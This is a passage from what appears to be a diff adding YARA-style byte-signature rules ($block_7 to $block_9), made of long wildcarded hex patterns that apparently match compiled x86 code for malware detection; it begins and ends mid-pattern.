?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 0F AF ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? C6 ?? ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 2D ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? BA ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 2D ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? 2D ?? ?? ?? ?? 89 }
+		$block_7 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 89 ?? 8B ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 33 ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 F? ?? ?? ?? ?? 89 }
+		$block_8 = { 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? 0F B6 ?? ?? 5? 8B ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F B6 ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 0F AF ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 0F B6 ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 0F B7 ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 0F B7 ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 05 ?? ?? ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 0F B7 ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 0F B6 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 5? 0F B6 ?? ?? 5? 0F B7 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 0F B6 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 6B ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8D ?? ?? 5? 8B ?? ?? 5? 0F B6 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 33 ?? ?? 89 ?? ?? 68 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 69 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 81 F? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 33 ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? 5? 8B ?? ?? 5? 0F B6 ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 8B ?? ?? 5? 0F B6 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 03 ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 5? 0F B7 ?? ?? 5? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 2B ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 03 ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 35 ?? ?? ?? ?? 89 }
+		$block_9 = { 5? 8B ?? 81 E? ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 ?? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? C6 